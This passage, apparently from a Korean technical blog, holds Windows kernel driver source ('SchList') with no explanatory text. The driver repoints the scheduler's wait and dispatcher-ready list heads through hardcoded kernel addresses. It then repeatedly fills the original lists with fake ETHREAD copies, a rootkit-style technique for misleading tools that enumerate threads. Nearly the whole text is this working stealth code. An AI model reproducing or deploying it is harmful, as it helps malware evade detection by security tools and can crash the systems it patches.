int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e,
0x80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de,
0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
KIRQL OldIrql;
KSPIN_LOCK DpcSpinLock;
LARGE_INTEGER DelayTime;
NTSTATUS Status;
PDEVICE_EXTENSION pDevExt;
PEPROCESS pEPROCESS;
PETHREAD pETHREAD;
ULONG PID;
PFAKE_ETHREAD pFakeETHREAD;
pDevExt = (PDEVICE_EXTENSION)pContext;
DelayTime.QuadPart = -(10 * 1000 * 10000);
pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;
pNewKiWaitInListHead =
(PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,
sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 *
sizeof(LIST_ENTRY));
InitializeListHead(pNewKiWaitInListHead);
InitializeListHead(pNewKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
}
KeInitializeSpinLock(&DpcSpinLock);
__try
{
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList);
}
pFirstEntry = pKiWaitOutListHead->Flink;
pLastEntry = pKiWaitOutListHead->Blink;
pNewKiWaitOutListHead->Flink = pFirstEntry;
pNewKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitOutListHead;
pLastEntry->Flink = pNewKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pKiDispatcherReadyListHead[i].Flink !=
&pKiDispatcherReadyListHead[i])
{
pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
pLastEntry = pKiDispatcherReadyListHead[i].Blink;
pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
for(;;)
{
InitializeListHead(pKiWaitInListHead);
InitializeListHead(pKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pKiDispatcherReadyListHead[i]);
}
for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead; pEntry
= pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead,
&pFakeETHREAD->WaitListEntry);
}
for(pEntry = pNewKiWaitOutListHead->Flink;
pEntry && pEntry != pNewKiWaitOutListHead; pEntry
= pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitOutListHead,
&pFakeETHREAD->WaitListEntry);
}
for(i = 0; i < 32 ; i++)
{
for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
pEntry && pEntry !=
&pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((char
*)pEntry)-0x5c);
pEPROCESS =
(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(ULONG *)(((char
*)pEPROCESS)+0x9c);
if(PID == 0x8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool,
sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD,
sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
}
}
DbgPrint("pKiWaitInListHead->Flink:%8x",
pKiWaitInListHead->Flink);
DbgPrint("pKiWaitInListHead->Blink:%8x",
pKiWaitInListHead->Blink);
DbgPrint("pKiWaitOutListHead->Flink:%8x",
pKiWaitOutListHead->Flink);
DbgPrint("pKiWaitOutListHead->Blink:%8x",
pKiWaitOutListHead->Blink);
DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x",
pKiDispatcherReadyListHead[0].Flink);
DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x",
pKiDispatcherReadyListHead[0].Blink);
Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode,
FALSE,
&DelayTime);
if(Status == STATUS_SUCCESS)
break;
}
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pNewKiWaitInListHead->Flink;
pLastEntry = pNewKiWaitInListHead->Blink;
pKiWaitInListHead->Flink = pFirstEntry;
pKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitInListHead;
pLastEntry->Flink = pKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList);
}
pFirstEntry = pNewKiWaitOutListHead->Flink;
pLastEntry = pNewKiWaitOutListHead->Blink;
pKiWaitOutListHead->Flink = pFirstEntry;
pKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitOutListHead;
pLastEntry->Flink = pKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pNewKiDispatcherReadyListHead[i].Flink !=
&pNewKiDispatcherReadyListHead[i])
{
pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;
pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
ExFreePool(pNewKiWaitInListHead);
ExFreePool(pNewKiWaitOutListHead);
ExFreePool(pNewKiDispatcherReadyListHead);
DbgPrint("Now terminate system thread.\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in ReplaceList().\n");
}
return;
}
NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PVOID pWorkerThread;
PDEVICE_EXTENSION pDevExt;
NTSTATUS Status;
LARGE_INTEGER WaitTime;
WaitTime.QuadPart = -(8 * 1000 * 10000);
pDevObj = pDriObj->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->bExit = TRUE;
__try
{
KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);
DbgPrint("SchList:Worker thread killed.\n");
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error occured in Unload().\n");
}
if(pDevObj)
{
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
IoDeleteSymbolicLink(&uniDevLink);
IoDeleteDevice(pDevObj);
DbgPrint(("SchList.sys:Driver Unload successfully.\n"));
return STATUS_SUCCESS;
}
DbgPrint(("SchList.sys:Detect device failed.\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
IN PUNICODE_STRING puniRegPath)
{
WCHAR DevNameBuf[] = L"\\Device\\SchList";
UNICODE_STRING uniDevName;
WCHAR DevLinkBuf[] = L"\\??\\SchList";
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
int pKiDispatcherReadyListHeadAddr = 0x804822e0;
int pKiWaitInListHeadAddr = 0x80482258;
int pKiWaitOutListHeadAddr = 0x80482808;
DbgPrint(("SchList:Enter DriverEntry.\n"));
RtlInitUnicodeString(&uniDevName,DevNameBuf);
status = IoCreateDevice(pDriObj,
sizeof(DEVICE_EXTENSION),
&uniDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create device failed.\n"));
return status;
}
DbgPrint(("SchList.sys:Create device successfully.\n"));
pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
pDevExt->pDeviceObject = pDevObj;
KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
status = IoCreateSymbolicLink(&uniDevLink,
&uniDevName);
if(!NT_SUCCESS(status))
{
DbgPrint(("SchList.sys:Create symbolic link failed.\n"));
return status;
}
pDriObj->DriverUnload = DriverUnload;
PsCreateSystemThread(&pDevExt->hWorkerThread,
(ACCESS_MASK)0L,
NULL,
(HANDLE)0L,
NULL,
ReplaceList,
pDevExt);
return STATUS_SUCCESS;
}
'KB > Win32/x86' 카테고리의 다른 글
Pfair (Proportionate fair) scheduling (0) | 2006.09.23 |
---|---|
Operating System Inside (0) | 2006.09.20 |
workingset size (0) | 2006.08.27 |
WinNT EPROCESS의 DirectoryTableBase 배열이 두개? (0) | 2006.08.26 |
Lock Free or Wait Free (0) | 2006.08.21 |